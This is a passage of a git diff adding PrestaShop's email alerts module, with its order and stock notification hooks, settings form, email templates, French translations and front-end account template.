!$this->registerHook('actionProductAttributeUpdate') || + !$this->registerHook('actionProductCoverage') || + !$this->registerHook('displayHeader')) + return false; + + Configuration::updateValue('MA_MERCHANT_ORDER', 1); + Configuration::updateValue('MA_MERCHANT_OOS', 1); + Configuration::updateValue('MA_CUSTOMER_QTY', 1); + Configuration::updateValue('MA_MERCHANT_MAILS', Configuration::get('PS_SHOP_EMAIL')); + Configuration::updateValue('MA_LAST_QTIES', (int)Configuration::get('PS_LAST_QTIES')); + Configuration::updateGlobalValue('MA_MERCHANT_COVERAGE', 0); + Configuration::updateGlobalValue('MA_PRODUCT_COVERAGE', 0); + + $sql = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.MailAlert::$definition['table'].'` + ( + `id_customer` int(10) unsigned NOT NULL, + `customer_email` varchar(128) NOT NULL, + `id_product` int(10) unsigned NOT NULL, + `id_product_attribute` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_customer`,`customer_email`,`id_product`,`id_product_attribute`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci'; + + if (!Db::getInstance()->execute($sql)) + return false; + + return true; + } + + public function uninstall() + { + Configuration::deleteByName('MA_MERCHANT_ORDER'); + Configuration::deleteByName('MA_MERCHANT_OOS'); + Configuration::deleteByName('MA_CUSTOMER_QTY'); + Configuration::deleteByName('MA_MERCHANT_MAILS'); + Configuration::deleteByName('MA_LAST_QTIES'); + Configuration::deleteByName('MA_MERCHANT_COVERAGE'); + Configuration::deleteByName('MA_PRODUCT_COVERAGE'); + + if (!Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.MailAlert::$definition['table'])) + return false; + + return parent::uninstall(); + } + + public function getContent() + { + $this->_postProcess(); + + $this->_html = '

        '.$this->displayName.'

        '; + $this->_html .= $this->_displayForm(); + + return $this->_html; + } + + private function _postProcess() + { + $errors = array(); + + if (Tools::isSubmit('submitMACustomer')) + { + if (!Configuration::updateValue('MA_CUSTOMER_QTY', (int)Tools::getValue('mA_customer_qty'))) + $errors[] = $this->l('Cannot update settings'); + } + else if (Tools::isSubmit('submitMAMerchant')) + { + $emails = strval(Tools::getValue('ma_merchant_mails')); + + if (!$emails || empty($emails)) + $errors[] = $this->l('Please type one (or more) e-mail address'); + else + { + $emails = explode("\n", $emails); + foreach ($emails as $k => $email) + { + $email = trim($email); + if (!empty($email) && !Validate::isEmail($email)) + { + $errors[] = $this->l('Invalid e-mail:').' '.Tools::safeOutput($email); + break; + } + else if (!empty($email) && count($email) > 0) + $emails[$k] = $email; + else + unset($emails[$k]); + } + + $emails = implode(self::__MA_MAIL_DELIMITOR__, $emails); + + if (!Configuration::updateValue('MA_MERCHANT_MAILS', strval($emails))) + $errors[] = $this->l('Cannot update settings'); + else if (!Configuration::updateValue('MA_MERCHANT_ORDER', (int)Tools::getValue('mA_merchand_order'))) + $errors[] = $this->l('Cannot update settings'); + else if (!Configuration::updateValue('MA_MERCHANT_OOS', (int)Tools::getValue('mA_merchand_oos'))) + $errors[] = $this->l('Cannot update settings'); + else if (!Configuration::updateValue('MA_LAST_QTIES', (int)Tools::getValue('MA_LAST_QTIES'))) + $errors[] = $this->l('Cannot update settings'); + else if (!Configuration::updateGlobalValue('MA_MERCHANT_COVERAGE', (int)Tools::getValue('mA_merchant_coverage'))) + $errors[] = $this->l('Cannot update settings'); + else if (!Configuration::updateGlobalValue('MA_PRODUCT_COVERAGE', (int)Tools::getValue('MA_PRODUCT_COVERAGE'))) + $errors[] = $this->l('Cannot update settings'); + } + } + + if (count($errors) > 0) + echo $this->displayError(implode('
        ', $errors)); + + $this->init(); + } + + public function _displayForm() + { + return '
        +
        '.$this->l('Customer notifications').' +
         
        + +
        + _customer_qty) == 1 ? 'checked' : '').'> +   +
        +
        + +
        +
        +
        +
         
        +
        +
        + '.$this->l('Merchant notifications').' +
         
        + +
        + _merchant_order) == 1 ? 'checked' : '').'> +   +
        +
         
        + +
        + _merchant_oos) == 1 ? 'checked' : '').'> +   +
        + +
        + +

        '.$this->l('Quantity for which a product is considered out of stock').'

        +
        +
         
        + +
        + _merchant_coverage) == 1 ? 'checked' : '').'> +   +
        + +
        + +

        '.$this->l('Stock coverage, in days. Also, the stock coverage of a given product will be calculated based on this number').'

        +
        +
         
        +
         
        + +
        +
        + +
        +
        + '.$this->l('One e-mail address per line (e.g. bob@example.com)').' +
        +
        +
         
        +
        + +
        +
        +
        '; + } + + public function hookActionValidateOrder($params) + { + if (!$this->_merchant_order || empty($this->_merchant_mails)) + return; + + // Getting differents vars + $id_lang = (int)Context::getContext()->language->id; + $currency = $params['currency']; + $configuration = Configuration::getMultiple(array('PS_SHOP_EMAIL', 'PS_MAIL_METHOD', 'PS_MAIL_SERVER', 'PS_MAIL_USER', 'PS_MAIL_PASSWD', 'PS_SHOP_NAME')); + $order = $params['order']; + $customer = $params['customer']; + $delivery = new Address((int)$order->id_address_delivery); + $invoice = new Address((int)$order->id_address_invoice); + $order_date_text = Tools::displayDate($order->date_add, (int)$id_lang); + $carrier = new Carrier((int)$order->id_carrier, (int)$id_lang); + $message = $order->getFirstMessage(); + + if (!$message || empty($message)) + $message = $this->l('No message'); + + $items_table = ''; + + $products = $params['order']->getProducts(); + $customized_datas = Product::getAllCustomizedDatas((int)$params['cart']->id); + Product::addCustomizationPrice($products, $customized_datas); + foreach ($products as $key => $product) + { + $unit_price = $product['product_price_wt']; + + $customization_text = ''; + if (isset($customized_datas[$product['product_id']][$product['product_attribute_id']])) + { + + foreach ($customized_datas[$product['product_id']][$product['product_attribute_id']] as $customization) + { + if (isset($customization['datas'][_CUSTOMIZE_TEXTFIELD_])) + foreach ($customization['datas'][_CUSTOMIZE_TEXTFIELD_] as $text) + $customization_text .= $text['name'].': '.$text['value'].'
        '; + + if (isset($customization['datas'][_CUSTOMIZE_FILE_])) + $customization_text .= count($customization['datas'][_CUSTOMIZE_FILE_]).' '.$this->l('image(s)').'
        '; + + $customization_text .= '---
        '; + } + + $customization_text = rtrim($customization_text, '---
        '); + } + + $items_table .= + ' + '.$product['product_reference'].' + + ' + .$product['product_name'].(isset($product['attributes_small']) ? ' '.$product['attributes_small'] : '').(!empty($customization_text) ? '
        '.$customization_text : ''). + '
        + + '.Tools::displayPrice($unit_price, $currency, false).' + '.(int)$product['product_quantity'].' + '.Tools::displayPrice(($unit_price * $product['product_quantity']), $currency, false).' + '; + } + foreach ($params['order']->getCartRules() as $discount) + { + $items_table .= + ' + '.$this->l('Voucher code:').' '.$discount['name'].' + -'.Tools::displayPrice($discount['value'], $currency, false).' + '; + } + if ($delivery->id_state) + $delivery_state = new State((int)$delivery->id_state); + if ($invoice->id_state) + $invoice_state = new State((int)$invoice->id_state); + + $carrier_module_call = null; + if ($carrier->is_module) + { + $module = Module::getInstanceByName($carrier->external_module_name); + if ($module->name == 'mondialrelay'){ + if (method_exists($module, 'displayInfoByCart')) + $carrier_module_call = call_user_func(array($module, 'displayInfoByCart'), $order->id_cart); + } + } + + // Filling-in vars for email + $template = 'new_order'; + $template_vars = array( + '{firstname}' => $customer->firstname, + '{lastname}' => $customer->lastname, + '{email}' => $customer->email, + '{delivery_block_txt}' => ($carrier_module_call!=null) ? $carrier_module_call : MailAlert::getFormatedAddress($delivery, "\n"), + '{invoice_block_txt}' => MailAlert::getFormatedAddress($invoice, "\n"), + '{delivery_block_html}' => ($carrier_module_call!=null) ? $carrier_module_call : MailAlert::getFormatedAddress($delivery, '
        ', array( + 'firstname' => '%s', + 'lastname' => '%s')), + '{invoice_block_html}' => MailAlert::getFormatedAddress($invoice, '
        ', array( + 'firstname' => '%s', + 'lastname' => '%s')), + '{delivery_company}' => $delivery->company, + '{delivery_firstname}' => $delivery->firstname, + '{delivery_lastname}' => $delivery->lastname, + '{delivery_address1}' => $delivery->address1, + '{delivery_address2}' => $delivery->address2, + '{delivery_city}' => $delivery->city, + '{delivery_postal_code}' => $delivery->postcode, + '{delivery_country}' => $delivery->country, + '{delivery_state}' => $delivery->id_state ? $delivery_state->name : '', + '{delivery_phone}' => $delivery->phone ? $delivery->phone : $delivery->phone_mobile, + '{delivery_other}' => $delivery->other, + '{invoice_company}' => $invoice->company, + '{invoice_firstname}' => $invoice->firstname, + '{invoice_lastname}' => $invoice->lastname, + '{invoice_address2}' => $invoice->address2, + '{invoice_address1}' => $invoice->address1, + '{invoice_city}' => $invoice->city, + '{invoice_postal_code}' => $invoice->postcode, + '{invoice_country}' => $invoice->country, + '{invoice_state}' => $invoice->id_state ? $invoice_state->name : '', + '{invoice_phone}' => $invoice->phone ? $invoice->phone : $invoice->phone_mobile, + '{invoice_other}' => $invoice->other, + '{order_name}' => sprintf('%06d', $order->id), + '{shop_name}' => Configuration::get('PS_SHOP_NAME'), + '{date}' => $order_date_text, + '{carrier}' => (($carrier->name == '0') ? Configuration::get('PS_SHOP_NAME') : $carrier->name), + '{payment}' => Tools::substr($order->payment, 0, 32), + '{items}' => $items_table, + '{total_paid}' => Tools::displayPrice($order->total_paid, $currency), + '{total_products}' => Tools::displayPrice($order->getTotalProductsWithTaxes(), $currency), + '{total_discounts}' => Tools::displayPrice($order->total_discounts, $currency), + '{total_shipping}' => Tools::displayPrice($order->total_shipping, $currency), + '{total_wrapping}' => Tools::displayPrice($order->total_wrapping, $currency), + '{currency}' => $currency->sign, + '{message}' => $message + ); + + $iso = Language::getIsoById($id_lang); + + if (file_exists(dirname(__FILE__).'/mails/'.$iso.'/'.$template.'.txt') && + file_exists(dirname(__FILE__).'/mails/'.$iso.'/'.$template.'.html')) + Mail::Send( + $id_lang, + $template, + sprintf(Mail::l('New order - #%06d', $id_lang), $order->id), + $template_vars, + explode(self::__MA_MAIL_DELIMITOR__, $this->_merchant_mails), + null, + $configuration['PS_SHOP_EMAIL'], + $configuration['PS_SHOP_NAME'], + null, + null, + dirname(__FILE__).'/mails/' + ); + } + + public function hookActionProductOutOfStock($params) + { + if (!$this->_customer_qty || !Configuration::get('PS_STOCK_MANAGEMENT') || Product::isAvailableWhenOutOfStock($params['product']->out_of_stock)) + return; + + $id_product = (int)$params['product']->id; + $id_product_attribute = 0; + $id_customer = (int)Context::getContext()->customer->id; + + if (!(int)Context::getContext()->customer->isLogged()) + $this->context->smarty->assign('email', 1); + else if (MailAlert::customerHasNotification($id_customer, $id_product, $id_product_attribute)) + return; + + $this->context->smarty->assign(array( + 'id_product' => $id_product, + 'id_product_attribute' => $id_product_attribute)); + + return $this->display(__FILE__, 'product.tpl'); + } + + public function hookActionUpdateQuantity($params) + { + $id_product = (int)$params['id_product']; + $id_product_attribute = (int)$params['id_product_attribute']; + $quantity = (int)$params['quantity']; + $id_shop = (int)Context::getContext()->shop->id; + $id_lang = (int)Context::getContext()->language->id; + $product = new Product($id_product, true, $id_lang, $id_shop, Context::getContext()); + $ma_last_qties = (int)Configuration::get('MA_LAST_QTIES'); + + if ($product->active == 1 && (int)$quantity <= $ma_last_qties && !(!$this->_merchant_oos || empty($this->_merchant_mails)) && Configuration::get('PS_STOCK_MANAGEMENT')) + { + $iso = Language::getIsoById($id_lang); + $product_name = Product::getProductName($id_product, $id_product_attribute, $id_lang); + $template_vars = array( + '{qty}' => $quantity, + '{last_qty}' => $ma_last_qties, + '{product}' => $product_name); + + if (file_exists(dirname(__FILE__).'/mails/'.$iso.'/productoutofstock.txt') && + file_exists(dirname(__FILE__).'/mails/'.$iso.'/productoutofstock.html')) + Mail::Send($id_lang, + 'productoutofstock', + Mail::l('Product out of stock', $id_lang), + $template_vars, + explode(self::__MA_MAIL_DELIMITOR__, $this->_merchant_mails), + null, + strval(Configuration::get('PS_SHOP_EMAIL')), + strval(Configuration::get('PS_SHOP_NAME')), + null, + null, + dirname(__FILE__).'/mails/'); + } + + if ($this->_customer_qty && $quantity > 0) + MailAlert::sendCustomerAlert((int)$product->id, (int)$params['id_product_attribute']); + } + + public function hookActionProductAttributeUpdate($params) + { + $sql = ' + SELECT `id_product`, `quantity` + FROM `'._DB_PREFIX_.'stock_available` + WHERE `id_product_attribute` = '.(int)$params['id_product_attribute']; + + $result = Db::getInstance()->getRow($sql); + + if ($this->_customer_qty && $result['quantity'] > 0) + MailAlert::sendCustomerAlert((int)$result['id_product'], (int)$params['id_product_attribute']); + } + + public function hookDisplayCustomerAccount($params) + { + return $this->_customer_qty ? $this->display(__FILE__, 'my-account.tpl') : null; + } + + public function hookDisplayMyAccountBlock($params) + { + return $this->hookDisplayCustomerAccount($params); + } + + public function hookActionProductDelete($params) + { + $sql = ' + DELETE FROM `'._DB_PREFIX_.MailAlert::$definition['table'].'` + WHERE `id_product` = '.(int)$params['product']->id; + + Db::getInstance()->execute($sql); + } + + public function hookActionAttributeDelete($params) + { + if ($params['deleteAllAttributes']) + $sql = ' + DELETE FROM `'._DB_PREFIX_.MailAlert::$definition['table'].'` + WHERE `id_product` = '.(int)$params['id_product']; + else + $sql = ' + DELETE FROM `'._DB_PREFIX_.MailAlert::$definition['table'].'` + WHERE `id_product_attribute` = '.(int)$params['id_product_attribute'].' + AND `id_product` = '.(int)$params['id_product']; + + Db::getInstance()->execute($sql); + } + + public function hookActionProductCoverage($params) + { + // if not advanced stock management, nothing to do + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + return; + + // retrieves informations + $id_product = (int)$params['id_product']; + $id_product_attribute = (int)$params['id_product_attribute']; + $warehouse = $params['warehouse']; + $product = new Product($id_product); + + if (!Validate::isLoadedObject($product)) + return; + + if (!$product->advanced_stock_management) + return; + + // sets warehouse id to get the coverage + if (!Validate::isLoadedObject($warehouse)) + $id_warehouse = 0; + else + $id_warehouse = (int)$warehouse->id; + + // coverage of the product + $warning_coverage = (int)Configuration::getGlobalValue('MA_PRODUCT_COVERAGE'); + + $coverage = StockManagerFactory::getManager()->getProductCoverage($id_product, $id_product_attribute, $warning_coverage, $id_warehouse); + + // if we need to send a notification + if ($product->active == 1 && + ($coverage < $warning_coverage) && !empty($this->_merchant_mails) && + Configuration::getGlobalValue('MA_MERCHANT_COVERAGE')) + { + $id_lang = (int)Context::getContext()->language->id; + $iso = Language::getIsoById($id_lang); + $product_name = Product::getProductName($id_product, $id_product_attribute, $id_lang); + $template_vars = array( + '{current_coverage}' => $coverage, + '{warning_coverage}' => $warning_coverage, + '{product}' => pSQL($product_name)); + + if (file_exists(dirname(__FILE__).'/mails/'.$iso.'/productcoverage.txt') && + file_exists(dirname(__FILE__).'/mails/'.$iso.'/productcoverage.html')) + { + Mail::Send($id_lang, + 'productcoverage', + Mail::l('Stock coverage', $id_lang), + $template_vars, + explode(self::__MA_MAIL_DELIMITOR__, $this->_merchant_mails), + null, + strval(Configuration::get('PS_SHOP_EMAIL')), + strval(Configuration::get('PS_SHOP_NAME')), + null, + null, + dirname(__FILE__).'/mails/'); + } + } + } + + public function hookDisplayHeader($params) + { + $this->context->controller->addCSS($this->_path.'mailalerts.css', 'all'); + } +} diff --git a/modules/mailalerts/mails/en/customer_qty.html b/modules/mailalerts/mails/en/customer_qty.html new file mode 100755 index 0000000..1b9cf0d --- /dev/null +++ b/modules/mailalerts/mails/en/customer_qty.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Product available + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is now available.
         
        This item is once again in-stock.

        You can access the product page by clicking on the link: {product}

        You can order it right now from our online shop.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/mailalerts/mails/en/customer_qty.txt b/modules/mailalerts/mails/en/customer_qty.txt new file mode 100755 index 0000000..9d6f58c --- /dev/null +++ b/modules/mailalerts/mails/en/customer_qty.txt @@ -0,0 +1,12 @@ +Hi, + +Product {product} is now available. +This item is once again in-stock. + +You can access the product page on: {product_link} + +You can order it right now from our online shop. + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/modules/mailalerts/mails/en/index.php b/modules/mailalerts/mails/en/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/mailalerts/mails/en/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/mails/en/new_order.html b/modules/mailalerts/mails/en/new_order.html new file mode 100755 index 0000000..17a8f2a --- /dev/null +++ b/modules/mailalerts/mails/en/new_order.html @@ -0,0 +1,61 @@ + + + + + [{shop_name}] New order + + +

        {shop_name}

        Congratulations! A new order was placed on {shop_name} from the following customer:
        {firstname} {lastname} ({email})

        + + + + + + +
        +

        Order Details

        +

        Order: #{order_name} placed on {date}

        +

        Payment method: {payment}

        + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        ReferenceProductPriceQuantityTotal Price
        {items}
        Products{total_products}
        Discounts{total_discounts}
        Gift-wrapping{total_wrapping}
        Shipping{total_shipping}
        Total paid{total_paid}
        +

        Carrier: {carrier}

        + + + + + + + + +
        Delivery addressBilling address
        {delivery_block_html}{invoice_block_html}
        +

        Customer message: {message}

        +

        {shop_name} powered with PrestaShop™

        +
        + + \ No newline at end of file diff --git a/modules/mailalerts/mails/en/new_order.txt b/modules/mailalerts/mails/en/new_order.txt new file mode 100755 index 0000000..0e0ba7d --- /dev/null +++ b/modules/mailalerts/mails/en/new_order.txt @@ -0,0 +1,29 @@ +Hi, + +You've a new order from {firstname} {lastname} ({email}) on {shop_name}. + +Order: {order_name} +Placed on : {date} +Carrier : {carrier} +Payment: {payment} +Discounts: {total_discounts} +Shipping: {total_shipping} +Products: {total_products} +Gift-wrapping: {total_wrapping} +Total paid: {total_paid} + +Delivery address: + +{delivery_block_txt} + +Billing address: + +{invoice_block_txt} + +Customer message: + +{message} + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/modules/mailalerts/mails/en/productcoverage.html b/modules/mailalerts/mails/en/productcoverage.html new file mode 100755 index 0000000..285df04 --- /dev/null +++ b/modules/mailalerts/mails/en/productcoverage.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Stock cover + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is almost out of stock.
         
        The stock cover is now less than the specified minimum of {warning_coverage}.

        Current stock cover: {current_coverage}

         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/mailalerts/mails/en/productcoverage.txt b/modules/mailalerts/mails/en/productcoverage.txt new file mode 100755 index 0000000..2c15fb1 --- /dev/null +++ b/modules/mailalerts/mails/en/productcoverage.txt @@ -0,0 +1,10 @@ +Hi, + +The product {product} is almost out of stock. +The stock cover is now less than the specified minimum of {warning_coverage}. +Current stock cover : {current_coverage} + + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/modules/mailalerts/mails/en/productoutofstock.html b/modules/mailalerts/mails/en/productoutofstock.html new file mode 100755 index 0000000..095e5b2 --- /dev/null +++ b/modules/mailalerts/mails/en/productoutofstock.html @@ -0,0 +1,34 @@ + + + + + [{shop_name}] Out of stock + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {product} is nearly out of stock.
         
        The remaining stock is now less than the specified minimum of {last_qty}.

        Remaining stock: {qty}

        You are advised to open the product's admin Product Page in order to replenish your inventory.
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/mailalerts/mails/en/productoutofstock.txt b/modules/mailalerts/mails/en/productoutofstock.txt new file mode 100755 index 0000000..7952a52 --- /dev/null +++ b/modules/mailalerts/mails/en/productoutofstock.txt @@ -0,0 +1,11 @@ +Hi, + +The product {product} is nearly out of stock. +The remaining stock is now less than the specified minimum of {last_qty}. +Remaining stock : {qty} + +You are advised to open the product's admin Product Page in order to replenish your inventory. + + + +{shop_url} powered by PrestaShop™ \ No newline at end of file diff --git a/modules/mailalerts/translations/en.php b/modules/mailalerts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/mailalerts/translations/fr.php b/modules/mailalerts/translations/fr.php new file mode 100755 index 0000000..651cc8f --- /dev/null +++ b/modules/mailalerts/translations/fr.php @@ -0,0 +1,44 @@ +mailalerts-account_ae0e822b6fad0de61c231ef188997e92'] = 'Vous devez avoir un produit pour effacer une alerte.'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_0d15d3afa8c174934ff0e43ce3b99bd3'] = 'Vous devez être identifié pour gérer vos alertes.'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_4edfd10d0bb5f51e0fd2327df608b5a8'] = 'Mes alertes'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_8bb23c2ae698681ebb650f43acb54dab'] = 'Aucune alerte mail.'; +$_MODULE['<{mailalerts}prestashop>mailalerts-account_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{mailalerts}prestashop>mailalerts_fd30254803e8db32521d3390131a44da'] = 'Alertes email'; +$_MODULE['<{mailalerts}prestashop>mailalerts_2d51f4a7ab8a12c4f35b507019523b8c'] = 'Envoie des notifications par e-mail aux clients et aux marchands.'; +$_MODULE['<{mailalerts}prestashop>mailalerts_8fd3b84964bd6dfec8095f658d200b29'] = 'Etes-vous sûr de vouloir supprimer toutes les notifications clients ?'; +$_MODULE['<{mailalerts}prestashop>mailalerts_c1ee76f076a5b97e3b4b0c0e5703246e'] = 'Mise à jour des réglages impossible'; +$_MODULE['<{mailalerts}prestashop>mailalerts_ce241f25e003bafeb9fce6857d8f027f'] = 'Merci d\'entrer une (ou plusieurs) addresse(s) email'; +$_MODULE['<{mailalerts}prestashop>mailalerts_29aae9c646337554f4de7ae29050c39f'] = 'E-mail invalide :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_58a20987a1f4e45d508b4491614a2c57'] = 'Notifications pour le client'; +$_MODULE['<{mailalerts}prestashop>mailalerts_ea379dd90c33c1345f40aa0afa6688d8'] = 'Disponibilité du produit'; +$_MODULE['<{mailalerts}prestashop>mailalerts_86e8d61297942b00e9937299735df971'] = 'Donne au client la possibilité de recevoir une notification lorsqu\'un produit hors-stock est de nouveau disponible'; +$_MODULE['<{mailalerts}prestashop>mailalerts_38fb7d24e0d60a048f540ecb18e13376'] = 'Enregistrer'; +$_MODULE['<{mailalerts}prestashop>mailalerts_6f974bbda9064a9c0836370dbf5a6076'] = 'Notifications pour le marchand'; +$_MODULE['<{mailalerts}prestashop>mailalerts_9204d21640382a89a95ec42f44f9051c'] = 'Nouvelle commande :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_dea3d17a0f0ecab1f65cc486bfa56051'] = 'Recevoir une notification lorsqu\'une commande est passée'; +$_MODULE['<{mailalerts}prestashop>mailalerts_ebc3ccf8441dba3c1615afa6acb3282a'] = 'Hors stock :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_0b46debf72500e9a1650fa18e6ca72a1'] = 'Recevoir une notification si les quantités disponibles à la vente d\'un produit sont inférieurs au seuil suivant'; +$_MODULE['<{mailalerts}prestashop>mailalerts_02505a778171466cc5e4f96c4eeaa9da'] = 'Seuil d\'alerte :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_62109400d1297f6b6c900eb7f6ba0aaa'] = 'Quantité à partir de laquelle le produit est considéré en rupture de stock'; +$_MODULE['<{mailalerts}prestashop>mailalerts_3d7b12c4623906965db0a3f8e7390652'] = 'Alerte de couverture :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_929396618e54384e9a22493055028533'] = 'Recevoir une notification si la couverture de stock d\'un produit est en dessous de la couverture, en jours, suivante'; +$_MODULE['<{mailalerts}prestashop>mailalerts_cadcfa2749b0cfb51d88837d4a934ad1'] = 'Couverture :'; +$_MODULE['<{mailalerts}prestashop>mailalerts_a27c67cad62fc03d13c2f67e5f749691'] = 'Couverture de stock, en jours. Cette valeur est également utilisée pour calculer la couverture actuelle d\'un produit.'; +$_MODULE['<{mailalerts}prestashop>mailalerts_7bcb7394f6b2ff226c423fea1a153754'] = 'Adresses e-mail'; +$_MODULE['<{mailalerts}prestashop>mailalerts_4395d1c88a7f0796edc652d2b57bc664'] = 'Une adresse e-mail par ligne (ex : bob@example.com)'; +$_MODULE['<{mailalerts}prestashop>mailalerts_7cb9a154f101c674c945f88dad5c5e28'] = 'Aucun message'; +$_MODULE['<{mailalerts}prestashop>mailalerts_1d744a9ad1dac20645cfc4a36b77323b'] = 'image(s)'; +$_MODULE['<{mailalerts}prestashop>mailalerts_9137796c15dd92e5553c3f29574d0968'] = 'Code de réduction :'; +$_MODULE['<{mailalerts}prestashop>my-account_4edfd10d0bb5f51e0fd2327df608b5a8'] = 'Mes alertes'; +$_MODULE['<{mailalerts}prestashop>product_67135a14d3ac4f1369633dd006d6efec'] = 'votre@email.com'; +$_MODULE['<{mailalerts}prestashop>product_61172eb93737ebf095d3fa02119ce1df'] = 'Demande de notification enregistrée'; +$_MODULE['<{mailalerts}prestashop>product_bb51a155575b81f4a07f7a9bafdc3b01'] = 'Vous avez déjà une alerte pour ce produit'; +$_MODULE['<{mailalerts}prestashop>product_900f8551b29793ecb604a545b2059cc1'] = 'Votre adresse e-mail est invalide'; +$_MODULE['<{mailalerts}prestashop>product_546e02eaa9a986c83cc347e273269f2c'] = 'Prévenez-moi lorsque le produit est disponible'; diff --git a/modules/mailalerts/translations/index.php b/modules/mailalerts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/views/index.php b/modules/mailalerts/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/views/templates/front/index.php b/modules/mailalerts/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/mailalerts/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mailalerts/views/templates/front/mailalerts-account.tpl b/modules/mailalerts/views/templates/front/mailalerts-account.tpl new file mode 100755 index 0000000..110df0a --- /dev/null +++ b/modules/mailalerts/views/templates/front/mailalerts-account.tpl @@ -0,0 +1,85 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{capture name=path}{l s='My account' mod='mailalerts'}{$navigationPipe}{l s='My alerts' mod='mailalerts'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        {l s='My alerts' mod='mailalerts'}

        + {if $mailAlerts} +
        + {foreach from=$mailAlerts item=mailAlert} +
        + +

        {$mailAlert.name}

        +
        {$mailAlert.attributes_small|escape:'htmlall':'UTF-8'}
        + +
        + +
        +
        + {/foreach} +
        + {else} +

        {l s='No mail alerts yet.' mod='mailalerts'}

        + {/if} + + +
